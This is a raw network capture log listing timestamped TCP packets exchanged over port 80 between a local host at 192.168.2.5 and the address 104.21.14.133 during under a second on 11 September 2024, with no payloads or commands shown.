Sep 11, 2024 18:23:53.746073961 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.746078014 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.746084929 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.746133089 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.746133089 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.746783018 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.746789932 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.746793985 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.746798992 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.746809959 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.746814013 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.746818066 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.747051001 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.937118053 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.937138081 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.937141895 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.937180996 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.937184095 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.937189102 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.937280893 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.937338114 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.937341928 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.937345982 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.937350035 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.937360048 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.937362909 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.937366962 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.937371016 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.937433958 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.937625885 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.937629938 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.937738895 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.937741995 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.937750101 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.937756062 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.937758923 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.937762976 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.937772989 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.937777042 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.937781096 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.937787056 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.937789917 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.937799931 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.937820911 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.937820911 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.938211918 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.938216925 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.938231945 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.938313007 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.938317060 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.938321114 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.938324928 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.938324928 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.938409090 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.938415051 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.938417912 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.938421965 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.938431978 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.938435078 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.938438892 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.938443899 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.938451052 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.938456059 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.938460112 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.938465118 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.938467979 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.938477039 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.938482046 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.938484907 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.938487053 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.938487053 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.938489914 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.938565016 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.939187050 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.939189911 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.939193964 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.939198017 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.939207077 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.939210892 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.939214945 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.939218998 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.939227104 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.939232111 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.939237118 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.939240932 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.939249039 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.939254999 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.939258099 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.939261913 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.939265966 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.939270973 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.939275026 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.939277887 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.939282894 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.939291954 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.939292908 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.939292908 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.939296007 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.939301968 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.939305067 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.939346075 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.939346075 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.940160990 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.940166950 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.940171003 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.940175056 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.940185070 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.940187931 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.940191984 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.940196037 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.940198898 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.940203905 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.940208912 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.940212965 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.940217018 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.940221071 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.940231085 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.940234900 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.940238953 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.940242052 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.940246105 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.940251112 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.940252066 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.940252066 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.940254927 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.940260887 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.940265894 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.940268993 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.940310001 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.940310001 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.940427065 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.941138029 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.941143036 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.941145897 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.941149950 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.941154957 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.941158056 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.941163063 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.941167116 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.941174984 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.941179991 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.941184998 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.941189051 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.941193104 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.941198111 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.941203117 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.941207886 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.941211939 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.941215992 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.941220045 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.941224098 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.941224098 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.941224098 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.941227913 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.941234112 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.941239119 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.941241980 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.941247940 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.941283941 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.941283941 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.941966057 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.941972017 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.941976070 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.942254066 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.942271948 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.942275047 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.942507029 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.942511082 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.942514896 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.942578077 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.942693949 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.942697048 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.942701101 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.942706108 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.942744970 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.942759037 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.942759037 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.942760944 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.942765951 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.942770004 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.942825079 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.942825079 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.944144011 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.944161892 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.944165945 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.944252968 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.944262981 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.944267988 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.944272995 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.944277048 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.944282055 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.944359064 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.944359064 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.944463968 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.944468975 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.944473028 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.944478035 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.944488049 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.944493055 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.944499016 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.944502115 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.944506884 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.944562912 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.944562912 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.944710970 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.944772005 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.944776058 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.944781065 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.944787979 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.944791079 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.944796085 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.944801092 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.944823027 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.944823027 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.945041895 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.945532084 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.945535898 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.945540905 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.945656061 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.945677042 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.945689917 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.945697069 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.945700884 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.945709944 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.945754051 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.945754051 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.945771933 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.945775986 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.946122885 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.988045931 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.988086939 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.988090038 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.988183975 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.988187075 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.988188982 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.988189936 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.988192081 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.988198042 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.988207102 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.988212109 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.988383055 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.988389015 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.988404036 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.988409042 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.988418102 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.988423109 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.988480091 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.988480091 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.029902935 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.029907942 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.029912949 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.030183077 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.030481100 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.030484915 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.030488968 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.030493975 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.030503035 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.030553102 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.184583902 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.184588909 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.184593916 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.184652090 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.184660912 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.184664965 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.184669018 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.184729099 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.185652018 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.185693979 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.185698032 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.185775042 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.185782909 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.185786963 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.185791969 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.185796022 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.185838938 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.186001062 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.186005116 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.186008930 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.186013937 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.186017036 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.186022043 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.186074018 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.186074018 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.186232090 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.186235905 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.186325073 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.186328888 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.186331987 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.186456919 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.186460018 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.186464071 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.186469078 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.186471939 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.186475992 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.186475992 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.186475992 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.186481953 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.186484098 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.186487913 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.186492920 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.186496973 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.186501026 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.186506987 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.186510086 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.186513901 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.186536074 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.186536074 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.186588049 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.187139034 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.187143087 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.187146902 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.187151909 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.187160969 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.187165022 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.187169075 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.187172890 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.187180996 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.187185049 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.187190056 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.187194109 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.187197924 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.187206984 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.187211037 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.187215090 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.187216043 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:54.187218904 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.187222004 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.187226057 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.187232018 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.187236071 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.187244892 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.187252045 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:54.187263012 CEST	80	49710	104.21.14.133	192.168.2.5
